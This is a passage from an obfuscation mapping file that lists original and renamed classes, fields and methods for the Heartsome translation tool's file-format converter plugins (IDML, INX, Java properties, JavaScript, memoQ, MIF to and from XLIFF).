java.util.Hashtable segments -> ez + java.io.FileOutputStream output -> dR + java.lang.String encoding -> encoding + java.util.Hashtable entities -> entities + net.heartsome.xml.Catalogue catalogue -> eA + net.heartsome.cat.converter.util.CalculateProcessedBytes cpb -> eB + org.eclipse.core.runtime.IProgressMonitor replaceMonitor -> eC + net.heartsome.cat.converter.html.Xliff2Html this$0 -> eD + java.util.Map run(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> run + java.lang.String extractText(net.heartsome.xml.Element) -> extractText + void loadEntities(java.lang.String) -> F + java.lang.String addEntities(java.lang.String) -> G + void writeString(java.lang.String) -> writeString + void writeString(java.lang.String,boolean,java.lang.String) -> a + void loadSegments(org.eclipse.core.runtime.IProgressMonitor) -> b +net.heartsome.cat.converter.html.resource.Messages -> net.heartsome.cat.converter.html.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle RESOURCE_BUNDLE -> cZ + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.converter.idml.Activator -> net.heartsome.cat.converter.idml.a: + java.lang.String PLUGIN_ID -> PLUGIN_ID + org.osgi.framework.BundleContext context -> context + org.osgi.framework.ServiceRegistration idml2XLIFFSR -> eE + org.osgi.framework.ServiceRegistration xliff2IDMLSR -> eF + org.osgi.framework.BundleContext getContext() -> getContext + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop +net.heartsome.cat.converter.idml.IDML2XLIFF -> net.heartsome.cat.converter.idml.b: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.String TYPE_VALUE -> TYPE_VALUE + java.lang.String TYPE_NAME_VALUE -> TYPE_NAME_VALUE + java.lang.String NAME_VALUE -> NAME_VALUE + java.util.Map convert(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> convert + java.lang.String getName() -> getName + java.lang.String getType() -> getType + java.lang.String getTypeName() -> getTypeName + org.slf4j.Logger access$0() -> access$0 +net.heartsome.cat.converter.idml.IDML2XLIFF$IDML2XLIFFImpl -> net.heartsome.cat.converter.idml.c: + java.lang.String IDML_PREFIX -> eG + java.lang.String IDML_NAMESPACE -> eH + java.lang.String strSrcPath -> eI + java.lang.String strSklPath -> eJ + java.lang.String strXLIFFPath -> eK + boolean blnIsSuite -> eL + java.lang.String strQtToolID -> eM + java.lang.String strSrcLang -> eN + java.lang.String strTgtLang -> eO + java.lang.String strCatalogue -> eP + java.lang.String strSrx -> eQ + java.lang.String strSrcEncoding -> eR + boolean blnSegByElement -> eS + net.heartsome.cat.converter.StringSegmenter segmenter -> er + java.util.LinkedList lstSpread -> eT + java.util.LinkedList lstMasterSpread -> eU + java.util.ArrayList lstAllStory -> eV + java.util.LinkedList lstStoryBySort -> eW + java.io.FileOutputStream out -> eX + java.util.zip.ZipOutputStream zipSklOut -> eY + net.heartsome.cat.common.file.FileManager fileManager -> eZ + java.lang.String strTmpFolderPath -> fa + int segNum -> fb + int gId -> fc + net.heartsome.cat.converter.idml.IDML2XLIFF this$0 -> fd + java.util.Map run(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> run + void initSpreadAllStory(org.eclipse.core.runtime.IProgressMonitor) -> c + void parseSpreadFile(boolean,org.eclipse.core.runtime.IProgressMonitor) -> a + void sortMap(java.util.LinkedHashMap,java.util.ArrayList) -> a + void parseStoryFile(org.eclipse.core.runtime.IProgressMonitor) -> d + java.lang.String handlePara(java.lang.String,java.util.HashMap) -> a + void updateParaAndXLF(java.lang.StringBuffer,com.ximpleware.VTDNav,java.util.ArrayList,java.lang.StringBuffer,java.lang.StringBuffer,java.lang.StringBuffer,com.ximpleware.XMLModifier,com.ximpleware.AutoPilot,com.ximpleware.AutoPilot,java.util.ArrayList) -> a + java.lang.String insertPhTag(java.lang.String) -> H + void saveStoryFile(com.ximpleware.XMLModifier,java.lang.String) -> a + void writeSegment(java.lang.String,int) -> f + int getGTagCount(java.lang.String) -> er + void writeHeader() -> writeHeader + void writeOut(java.lang.String) -> I + void releaseSrcZip(java.lang.String) -> J + void access$0(net.heartsome.cat.converter.idml.IDML2XLIFF$IDML2XLIFFImpl,java.util.LinkedHashMap,java.util.ArrayList) -> a +net.heartsome.cat.converter.idml.IDML2XLIFF$IDML2XLIFFImpl$1 -> net.heartsome.cat.converter.idml.d: + boolean hasSpreadNode -> hw + java.lang.String strPageCount -> hx + java.lang.String pageItemTransform -> ne + java.util.List textFrameList -> uQ + net.heartsome.cat.converter.idml.IDML2XLIFF$IDML2XLIFFImpl this$1 -> fe + net.heartsome.cat.converter.idml.IDML2XLIFF$IDML2XLIFFImpl$1FieldBridge val$spreadAttr -> uR + java.util.ArrayList val$lstPageX -> ff + boolean val$isParseMasterSpread -> uS + java.util.LinkedHashMap val$mapStoryAndCoordinate -> uT + void startElement(java.lang.String,java.lang.String,java.lang.String,org.xml.sax.Attributes) -> startElement + void endDocument() -> endDocument +net.heartsome.cat.converter.idml.IDML2XLIFF$IDML2XLIFFImpl$1$TextFrameAttr -> net.heartsome.cat.converter.idml.h: + java.lang.String parentStory -> uU + java.lang.String itemTransform -> uV + net.heartsome.cat.converter.idml.IDML2XLIFF$IDML2XLIFFImpl$1 this$2 -> uW +net.heartsome.cat.converter.idml.IDML2XLIFF$IDML2XLIFFImpl$1FieldBridge -> net.heartsome.cat.converter.idml.i: + int pageAmount -> uX + int pageCount -> uY + net.heartsome.cat.converter.idml.IDML2XLIFF$IDML2XLIFFImpl this$1 -> fe +net.heartsome.cat.converter.idml.IDML2XLIFF$IDML2XLIFFImpl$2 -> net.heartsome.cat.converter.idml.j: + net.heartsome.cat.converter.idml.IDML2XLIFF$IDML2XLIFFImpl this$1 -> fe + java.util.ArrayList val$lstPageX -> ff + int compare(java.util.Map$Entry,java.util.Map$Entry) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.converter.idml.ParagraphManagement -> net.heartsome.cat.converter.idml.e: + java.lang.String toHexString(java.lang.String) -> K +net.heartsome.cat.converter.idml.XLIFF2IDML -> net.heartsome.cat.converter.idml.f: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.String TYPE_VALUE -> TYPE_VALUE + java.lang.String TYPE_NAME_VALUE -> TYPE_NAME_VALUE + java.lang.String NAME_VALUE -> NAME_VALUE + java.util.Map convert(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> convert + java.lang.String getName() -> getName + java.lang.String getType() -> getType + java.lang.String getTypeName() -> getTypeName + org.slf4j.Logger access$0() -> access$0 +net.heartsome.cat.converter.idml.XLIFF2IDML$XLIFF2IDMLImpl -> net.heartsome.cat.converter.idml.g: + java.lang.String IDML_PREFIX -> eG + java.lang.String IDML_NAMESPACE -> eH + java.lang.String strXLIFFPath -> eK + java.lang.String strSklPath -> eJ + java.util.zip.ZipOutputStream zipOut -> fg + java.lang.String strTmpFolderPath -> fa + net.heartsome.cat.common.file.FileManager fileManager -> eZ + java.util.HashMap mapSegment -> fh + java.util.regex.Pattern pattern -> fi + net.heartsome.cat.converter.idml.XLIFF2IDML this$0 -> fj + java.util.Map run(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> run + void loadSegment() -> H + void releaseSklZip(java.lang.String) -> L + void handleStoryFile(org.eclipse.core.runtime.IProgressMonitor) -> e + java.lang.String cleanTag(java.lang.String) -> M +net.heartsome.cat.converter.idml.resource.Messages -> net.heartsome.cat.converter.idml.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle RESOURCE_BUNDLE -> cZ + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.converter.inx.Activator -> net.heartsome.cat.converter.inx.a: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.converter.inx.Activator plugin -> fk + org.osgi.framework.BundleContext bundleContext -> fl + org.osgi.util.tracker.ServiceTracker positiveTracker -> fm + org.osgi.util.tracker.ServiceTracker reverseTracker -> fn + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.converter.inx.Activator getDefault() -> I + net.heartsome.cat.converter.Converter getXMLConverter(java.lang.String) -> getXMLConverter + org.osgi.framework.BundleContext access$0() -> J +net.heartsome.cat.converter.inx.Activator$XmlPositiveCustomizer -> net.heartsome.cat.converter.inx.b: + net.heartsome.cat.converter.inx.Activator this$0 -> fo + java.lang.Object addingService(org.osgi.framework.ServiceReference) -> addingService + void modifiedService(org.osgi.framework.ServiceReference,java.lang.Object) -> modifiedService + void removedService(org.osgi.framework.ServiceReference,java.lang.Object) -> removedService +net.heartsome.cat.converter.inx.Activator$XmlReverseCustomize -> net.heartsome.cat.converter.inx.c: + net.heartsome.cat.converter.inx.Activator this$0 -> fo + java.lang.Object addingService(org.osgi.framework.ServiceReference) -> addingService + void modifiedService(org.osgi.framework.ServiceReference,java.lang.Object) -> modifiedService + void removedService(org.osgi.framework.ServiceReference,java.lang.Object) -> removedService +net.heartsome.cat.converter.inx.Inx2Xliff -> net.heartsome.cat.converter.inx.d: + java.lang.String TYPE_VALUE -> TYPE_VALUE + java.lang.String TYPE_NAME_VALUE -> TYPE_NAME_VALUE + java.lang.String NAME_VALUE -> NAME_VALUE + net.heartsome.cat.converter.Converter dependantConverter -> fp + java.util.Map convert(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> convert + java.lang.String getName() -> getName + java.lang.String getType() -> getType + java.lang.String getTypeName() -> getTypeName +net.heartsome.cat.converter.inx.Xliff2Inx -> net.heartsome.cat.converter.inx.e: + java.lang.String TYPE_VALUE -> TYPE_VALUE + java.lang.String TYPE_NAME_VALUE -> TYPE_NAME_VALUE + java.lang.String NAME_VALUE -> NAME_VALUE + net.heartsome.cat.converter.Converter dependantConverter -> fp + java.util.Map convert(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> convert + java.lang.String getName() -> getName + java.lang.String getType() -> getType + java.lang.String getTypeName() -> getTypeName +net.heartsome.cat.converter.inx.resource.Messages -> net.heartsome.cat.converter.inx.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle RESOURCE_BUNDLE -> cZ + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.converter.javaproperties.Activator -> net.heartsome.cat.converter.javaproperties.a: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.converter.javaproperties.Activator plugin -> fq + org.osgi.framework.ServiceRegistration properties2XliffSR -> fr + org.osgi.framework.ServiceRegistration xliff2PropertiesSR -> fs + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.converter.javaproperties.Activator getDefault() -> K +net.heartsome.cat.converter.javaproperties.Properties2Xliff -> net.heartsome.cat.converter.javaproperties.b: + java.lang.String TYPE_VALUE -> TYPE_VALUE + java.lang.String TYPE_NAME_VALUE -> TYPE_NAME_VALUE + java.lang.String NAME_VALUE -> NAME_VALUE + java.util.Map convert(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> convert + java.lang.String getName() -> getName + java.lang.String getType() -> getType + java.lang.String getTypeName() -> getTypeName + java.lang.String fixChars(java.lang.String) -> N + java.lang.String toChar(java.lang.String) -> O + java.lang.String access$0(java.lang.String) -> P +net.heartsome.cat.converter.javaproperties.Properties2Xliff$Properties2XliffImpl -> net.heartsome.cat.converter.javaproperties.c: + java.io.InputStreamReader input -> ew + java.io.FileOutputStream output -> dR + java.io.FileOutputStream skeleton -> ej + java.io.BufferedReader buffer -> ex + java.lang.String inputFile -> dM + java.lang.String xliffFile -> dN + java.lang.String skeletonFile -> dO + java.lang.String source -> source + java.lang.String sourceLanguage -> eh + java.lang.String targetLanguage -> cW + int segId -> ek + net.heartsome.cat.converter.StringSegmenter segmenter -> er + boolean segByElement -> segByElement + net.heartsome.cat.converter.javaproperties.Properties2Xliff this$0 -> ft + java.util.Map run(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> run + void writeString(java.lang.String) -> writeString + void writeSkeleton(java.lang.String) -> D + void writeSegment() -> L +net.heartsome.cat.converter.javaproperties.Xliff2Properties -> net.heartsome.cat.converter.javaproperties.d: + java.lang.String TYPE_VALUE -> TYPE_VALUE + java.lang.String TYPE_NAME_VALUE -> TYPE_NAME_VALUE + java.lang.String NAME_VALUE -> NAME_VALUE + java.util.Map convert(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> convert + java.lang.String getName() -> getName + java.lang.String getType() -> getType + java.lang.String getTypeName() -> getTypeName + java.lang.String extractText(net.heartsome.xml.Element) -> extractText + java.lang.String cleanChars(java.lang.String) -> Q + java.lang.String toHex(char) -> a + java.lang.String access$0(net.heartsome.xml.Element) -> b +net.heartsome.cat.converter.javaproperties.Xliff2Properties$Xliff2PropertiesImpl -> net.heartsome.cat.converter.javaproperties.e: + java.lang.String UTF_8 -> UTF_8 + java.lang.String sklFile -> ey + java.lang.String xliffFile -> dN + java.lang.String encoding -> encoding + java.util.Hashtable segments -> ez + net.heartsome.xml.Catalogue catalogue -> eA + java.io.FileOutputStream output -> dR + java.io.InputStreamReader input -> ew + java.io.BufferedReader buffer -> ex + java.lang.String line -> line + net.heartsome.cat.converter.util.CalculateProcessedBytes cpb -> eB + org.eclipse.core.runtime.IProgressMonitor replaceMonitor -> eC + net.heartsome.cat.converter.javaproperties.Xliff2Properties this$0 -> fu + java.util.Map run(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> run + void loadSegments(org.eclipse.core.runtime.IProgressMonitor) -> b + void writeString(java.lang.String) -> writeString + void writeString(java.lang.String,boolean,java.lang.String) -> a +net.heartsome.cat.converter.javaproperties.resource.Messages -> net.heartsome.cat.converter.javaproperties.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle RESOURCE_BUNDLE -> cZ + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.converter.javascript.Activator -> net.heartsome.cat.converter.javascript.a: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.converter.javascript.Activator plugin -> fv + org.osgi.framework.ServiceRegistration javaScript2XliffSR -> fw + org.osgi.framework.ServiceRegistration xliff2JavaScriptSR -> fx + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.converter.javascript.Activator getDefault() -> M +net.heartsome.cat.converter.javascript.JavaScript2Xliff -> net.heartsome.cat.converter.javascript.b: + java.lang.String TYPE_VALUE -> TYPE_VALUE + java.lang.String TYPE_NAME_VALUE -> TYPE_NAME_VALUE + java.lang.String NAME_VALUE -> NAME_VALUE + java.util.Map convert(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> convert + java.lang.String getName() -> getName + java.lang.String getType() -> getType + java.lang.String getTypeName() -> getTypeName +net.heartsome.cat.converter.javascript.Jscript2xliffAbstract -> net.heartsome.cat.converter.javascript.c: + java.io.Reader input -> input + java.io.OutputStream output -> output + java.io.OutputStream skeleton -> fy + java.io.BufferedReader buffer -> ex + java.lang.String inputFile -> dM + java.lang.String xliffFile -> dN + java.lang.String skeletonFile -> dO + java.lang.String sourceLanguage -> eh + java.lang.String targetLanguage -> cW + int segId -> ek + java.lang.String encoding -> encoding + java.lang.String processingStr -> fz + java.lang.String cacheStr -> fA + boolean isSingleCom -> fB + int singleComIndex -> fC + boolean isMultiRowComStart -> fD + int multiRowComStartIndex -> fE + boolean isMultiRowComEnd -> fF + int multiRowComEndIndex -> fG + char validCacheChar -> fH + boolean isSuite -> dS + java.lang.String qtToolId -> eu + java.util.Map run(org.eclipse.core.runtime.IProgressMonitor) -> f + char cacheLastValidChar(java.lang.String) -> R + java.lang.String checkForQuote(java.lang.String) -> S + boolean isPerlRegStart(java.lang.String,int) -> b + boolean isLetterOrDigitOrUnderlineOrDollorOrRightParenthese(char) -> b + java.lang.String processQuoteStr(java.lang.String,char,int,int) -> a + void checkForComment(java.lang.String) -> T + boolean checkIsEscape(java.lang.String,int) -> c + java.lang.String processMultiRowCom(java.lang.String) -> U + void writeSegment(java.lang.String) -> x + void writeString(java.lang.String) -> writeString + void writeSkeleton(java.lang.String) -> D +net.heartsome.cat.converter.javascript.Jscript2xliffImpl -> net.heartsome.cat.converter.javascript.d: + java.util.Map run(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.converter.javascript.Xliff2JavaScript -> net.heartsome.cat.converter.javascript.e: + java.lang.String TYPE_VALUE -> TYPE_VALUE + java.lang.String TYPE_NAME_VALUE -> TYPE_NAME_VALUE + java.lang.String NAME_VALUE -> NAME_VALUE + java.util.Map convert(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> convert + java.lang.String getName() -> getName + java.lang.String getType() -> getType + java.lang.String getTypeName() -> getTypeName +net.heartsome.cat.converter.javascript.Xliff2JavaScript$Xliff2JavaScriptImpl -> net.heartsome.cat.converter.javascript.f: + java.lang.String UTF_8 -> UTF_8 + java.io.InputStreamReader input -> ew + java.io.BufferedReader buffer -> ex + java.lang.String sklFile -> ey + java.lang.String xliffFile -> dN + java.lang.String line -> line + java.util.Hashtable segments -> ez + java.io.FileOutputStream output -> dR + java.lang.String catalogue -> catalogue + net.heartsome.cat.converter.util.CalculateProcessedBytes cpb -> eB + org.eclipse.core.runtime.IProgressMonitor replaceMonitor -> eC + java.lang.String encoding -> encoding + net.heartsome.cat.converter.javascript.Xliff2JavaScript this$0 -> fI + java.util.Map run(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> run + void loadSegments() -> N + void writeString(java.lang.String) -> writeString + void writeString(java.lang.String,boolean,java.lang.String) -> a +net.heartsome.cat.converter.javascript.resource.Messages -> net.heartsome.cat.converter.javascript.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle RESOURCE_BUNDLE -> cZ + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.converter.memoq6.Activator -> net.heartsome.cat.converter.memoq6.a: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.converter.memoq6.Activator plugin -> fJ + org.osgi.framework.ServiceRegistration mq2XliffSR -> fK + org.osgi.framework.ServiceRegistration xliff2MqSR -> fL + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.converter.memoq6.Activator getDefault() -> O +net.heartsome.cat.converter.memoq6.Mq2Xliff -> net.heartsome.cat.converter.memoq6.b: + java.lang.String TYPE_VALUE -> TYPE_VALUE + java.lang.String TYPE_NAME_VALUE -> TYPE_NAME_VALUE + java.lang.String NAME_VALUE -> NAME_VALUE + java.util.Map convert(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> convert + java.lang.String getName() -> getName + java.lang.String getType() -> getType + java.lang.String getTypeName() -> getTypeName + void copyFile(java.lang.String,java.lang.String) -> copyFile +net.heartsome.cat.converter.memoq6.Mq2Xliff$Mq2XliffImpl -> net.heartsome.cat.converter.memoq6.c: + java.lang.String inputFile -> dM + java.lang.String xliffFile -> dN + java.lang.String skeletonFile -> dO + java.lang.String userSourceLang -> dP + java.lang.String targetLang -> dQ + java.lang.String srcEncoding -> srcEncoding + java.io.FileOutputStream output -> dR + boolean isSuite -> dS + java.lang.String qtToolID -> dT + com.ximpleware.VTDNav sklVN -> dU + com.ximpleware.XMLModifier sklXM -> dV + net.heartsome.cat.converter.memoq6.Mq2Xliff this$0 -> fM + java.util.Map run(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> run + void parseMQZip(java.lang.String,java.lang.String) -> f + void parseHSSkeletonFile() -> P + void copyMqSklToHsSkl(java.io.File) -> c + void writeHeader() -> writeHeader + void writeString(java.lang.String) -> writeString + void analyzeNodes() -> C + void insertPlaceHolder(net.heartsome.xml.vtdimpl.VTDUtils,java.lang.String,java.lang.String) -> a + void writeSegment(net.heartsome.cat.converter.memoq6.TuBean) -> a +net.heartsome.cat.converter.memoq6.TuBean -> net.heartsome.cat.converter.memoq6.d: + java.lang.String segId -> fN + java.lang.String srcText -> fO + java.lang.String tgtText -> fP + java.lang.String status -> status + boolean isLocked -> dY + java.lang.String note -> note + java.lang.String getSegId() -> Q + void setSegId(java.lang.String) -> V + java.lang.String getSrcText() -> getSrcText + void setSrcText(java.lang.String) -> setSrcText + java.lang.String getTgtText() -> getTgtText + void setTgtText(java.lang.String) -> setTgtText + java.lang.String getStatus() -> getStatus + void setStatus(java.lang.String) -> setStatus + boolean isLocked() -> isLocked + void setLocked(boolean) -> setLocked + java.lang.String getNote() -> getNote + void setNote(java.lang.String) -> setNote + boolean isTgtNull() -> isTgtNull +net.heartsome.cat.converter.memoq6.Xliff2Mq -> net.heartsome.cat.converter.memoq6.e: + java.lang.String TYPE_VALUE -> TYPE_VALUE + java.lang.String TYPE_NAME_VALUE -> TYPE_NAME_VALUE + java.lang.String NAME_VALUE -> NAME_VALUE + java.util.Map convert(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> convert + java.lang.String getName() -> getName + java.lang.String getType() -> getType + java.lang.String getTypeName() -> getTypeName + void copyFile(java.lang.String,java.lang.String) -> copyFile + void access$0(java.lang.String,java.lang.String) -> c +net.heartsome.cat.converter.memoq6.Xliff2Mq$Xliff2MqImpl -> net.heartsome.cat.converter.memoq6.f: + java.lang.String encoding -> encoding + java.lang.String outputFile -> outputFile + com.ximpleware.VTDNav sklVN -> dU + com.ximpleware.XMLModifier sklXM -> dV + com.ximpleware.AutoPilot sklAP -> fQ + com.ximpleware.VTDNav xlfVN -> fR + net.heartsome.cat.converter.memoq6.Xliff2Mq this$0 -> fS + java.util.Map run(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> run + void parseOutputFile(java.lang.String,java.lang.String) -> d + void parseXlfFile(java.lang.String) -> q + void ananysisXlfTU() -> F + void getNotes(com.ximpleware.VTDNav,net.heartsome.cat.converter.memoq6.TuBean) -> a + void replaceSegment(java.lang.String,net.heartsome.cat.converter.memoq6.TuBean) -> a + void createMqSkeleton(java.io.File) -> d + void createMQZipFile(java.lang.String,java.io.File) -> b +net.heartsome.cat.converter.memoq6.resource.Messages -> net.heartsome.cat.converter.memoq6.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle RESOURCE_BUNDLE -> cZ + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.converter.mif.Activator -> net.heartsome.cat.converter.mif.a: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.converter.mif.Activator plugin -> fT + org.osgi.framework.ServiceRegistration mif2XliffSR -> fU + org.osgi.framework.ServiceRegistration xliff2MifSR -> fV + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.converter.mif.Activator getDefault() -> R + org.eclipse.jface.resource.ImageDescriptor getImageDescriptor(java.lang.String) -> getImageDescriptor +net.heartsome.cat.converter.mif.Mif2Xliff -> net.heartsome.cat.converter.mif.b: + java.lang.String TYPE_VALUE -> TYPE_VALUE + java.lang.String TYPE_NAME_VALUE -> TYPE_NAME_VALUE + java.lang.String NAME_VALUE -> NAME_VALUE + java.util.Map convert(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> convert + java.lang.String getName() -> getName + java.lang.String getType() -> getType + java.lang.String getTypeName() -> getTypeName +net.heartsome.cat.converter.mif.Mif2Xliff$Mif2XliffImpl -> net.heartsome.cat.converter.mif.c: + net.heartsome.cat.converter.mif.Mif2Xliff this$0 -> fW + java.util.Map run(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> run + void writeXliffHeader(java.io.BufferedWriter,java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> a + void writeXliffTail(java.io.BufferedWriter) -> a +net.heartsome.cat.converter.mif.Xliff2Mif -> net.heartsome.cat.converter.mif.d: + java.lang.String TYPE_VALUE -> TYPE_VALUE + java.lang.String TYPE_NAME_VALUE -> TYPE_NAME_VALUE + java.lang.String NAME_VALUE -> NAME_VALUE + java.util.Map convert(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> convert + java.lang.String getName() -> getName + java.lang.String getType() -> getType + java.lang.String getTypeName() -> getTypeName +net.heartsome.cat.converter.mif.Xliff2Mif$Xliff2MifImpl -> net.heartsome.cat.converter.mif.e: + java.lang.String UTF_8 -> UTF_8 + java.io.InputStreamReader input -> ew + java.io.BufferedReader buffer -> ex + java.lang.String sklFile -> ey + java.lang.String xliffFile -> dN + java.lang.String line -> line + java.util.Hashtable segments -> ez + java.io.FileOutputStream output -> dR + java.lang.String catalogue -> catalogue + java.lang.String iniFile -> fX + net.heartsome.cat.converter.util.CalculateProcessedBytes cpb -> eB + org.eclipse.core.runtime.IProgressMonitor replaceMonitor -> eC + java.lang.String encoding -> encoding + net.heartsome.cat.converter.mif.Xliff2Mif this$0 -> fY + java.util.Map run(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> run + java.lang.String cleanString(java.lang.String) -> cleanString + java.lang.String process(net.heartsome.xml.Element,java.lang.String) -> a + java.lang.String commonProcess(net.heartsome.xml.Element) -> c + void loadSegments() -> N + void writeString(java.lang.String) -> writeString + void writeString(java.lang.String,boolean,java.lang.String) -> a +net.heartsome.cat.converter.mif.bean.Frame -> net.heartsome.cat.converter.mif.bean.a: + int offset -> offset + int endOffset -> endOffset + java.lang.String id -> id + java.util.List textRects -> fZ + java.util.List getTextRects() -> S + void appendTextRect(net.heartsome.cat.converter.mif.bean.TextRect) -> a + int getOffset() -> getOffset + void setOffset(int) -> setOffset + int getEndOffset() -> getEndOffset + void setEndOffset(int) -> setEndOffset + java.lang.String getId() -> getId + void setId(java.lang.String) -> setId +net.heartsome.cat.converter.mif.bean.Frame$1 -> net.heartsome.cat.converter.mif.bean.b: + net.heartsome.cat.converter.mif.bean.Frame this$0 -> ga + int compare(net.heartsome.cat.converter.mif.bean.TextRect,net.heartsome.cat.converter.mif.bean.TextRect) -> a + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.converter.mif.bean.Marker -> net.heartsome.cat.converter.mif.bean.c: + int offset -> offset + int endOffset -> endOffset + java.lang.String content -> o + int getOffset() -> getOffset + void setOffset(int) -> setOffset + int getEndOffset() -> getEndOffset + void setEndOffset(int) -> setEndOffset + java.lang.String getContent() -> getContent + void setContent(java.lang.String) -> setContent +net.heartsome.cat.converter.mif.bean.MifParseBuffer -> net.heartsome.cat.converter.mif.bean.d: + java.util.Map fms -> gb + java.util.Map tbls -> gc + java.util.List pages -> gd + java.util.Map tfs -> ge + java.util.List markers -> gf + void appendFrame(net.heartsome.cat.converter.mif.bean.Frame) -> a + void appendTbale(net.heartsome.cat.converter.mif.bean.Table) -> a + void appendPage(net.heartsome.cat.converter.mif.bean.Page) -> a + void appendTextFlow(net.heartsome.cat.converter.mif.bean.TextFlow) -> a + void appendMarker(net.heartsome.cat.converter.mif.bean.Marker) -> a + net.heartsome.cat.converter.mif.bean.Frame getFrame(java.lang.String) -> W + net.heartsome.cat.converter.mif.bean.Table getTable(java.lang.String) -> X + java.util.List getPages() -> T + net.heartsome.cat.converter.mif.bean.TextFlow getTextFlow(java.lang.String) -> Y + java.util.List getMarkers() -> getMarkers +net.heartsome.cat.converter.mif.bean.MifReaderBuffer -> net.heartsome.cat.converter.mif.bean.e: + java.util.List cache -> gg + void addBuffer(java.lang.Object[]) -> a + java.util.List getBuffer(java.util.Comparator) -> a +net.heartsome.cat.converter.mif.bean.Page -> net.heartsome.cat.converter.mif.bean.f: + int offset -> offset + int endOffset -> endOffset + java.lang.String pageType -> gh + java.lang.String pageTag -> gi + java.util.List textRects -> fZ + boolean validate() -> validate + java.util.List getTextRects() -> S + void appendTextRect(net.heartsome.cat.converter.mif.bean.TextRect) -> a + int getOffset() -> getOffset + void setOffset(int) -> setOffset + int getEndOffset() -> getEndOffset + void setEndOffset(int) -> setEndOffset + java.lang.String getPageType() -> getPageType + void setPageType(java.lang.String) -> Z + java.lang.String getPageTag() -> U + void setPageTag(java.lang.String) -> aa +net.heartsome.cat.converter.mif.bean.Page$1 -> net.heartsome.cat.converter.mif.bean.g: + net.heartsome.cat.converter.mif.bean.Page this$0 -> gj + int compare(net.heartsome.cat.converter.mif.bean.TextRect,net.heartsome.cat.converter.mif.bean.TextRect) -> a + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.converter.mif.bean.Table -> net.heartsome.cat.converter.mif.bean.h: + java.lang.String id -> id + int offset -> offset + int endOffset -> endOffset + boolean validate() -> validate + java.lang.String getId() -> getId + void setId(java.lang.String) -> setId + int getOffset() -> getOffset + void setOffset(int) -> setOffset + int getEndOffset() -> getEndOffset + void setEndOffset(int) -> setEndOffset +net.heartsome.cat.converter.mif.bean.TextFlow -> net.heartsome.cat.converter.mif.bean.i: + java.lang.String textRectId -> gk + int offset -> offset + int endOffset -> endOffset + java.lang.String getTextRectId() -> V + boolean validate() -> validate + void setTextRectId(java.lang.String) -> ab + int getOffset() -> getOffset + void setOffset(int) -> setOffset + int getEndOffset() -> getEndOffset + void setEndOffset(int) -> setEndOffset +net.heartsome.cat.converter.mif.bean.TextRect -> net.heartsome.cat.converter.mif.bean.j: + java.lang.String id -> id + java.lang.String vPosition -> gl + boolean validate() -> validate + java.lang.String getId() -> getId + void setId(java.lang.String) -> setId + java.lang.String getvPosition() -> W + void setvPosition(java.lang.String) -> ac + void main(java.lang.String[]) -> main +net.heartsome.cat.converter.mif.bean.TextRect$1 -> net.heartsome.cat.converter.mif.bean.k: + int compare(net.heartsome.cat.converter.mif.bean.TextRect,net.heartsome.cat.converter.mif.bean.TextRect) -> a + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.converter.mif.common.MifParseException -> 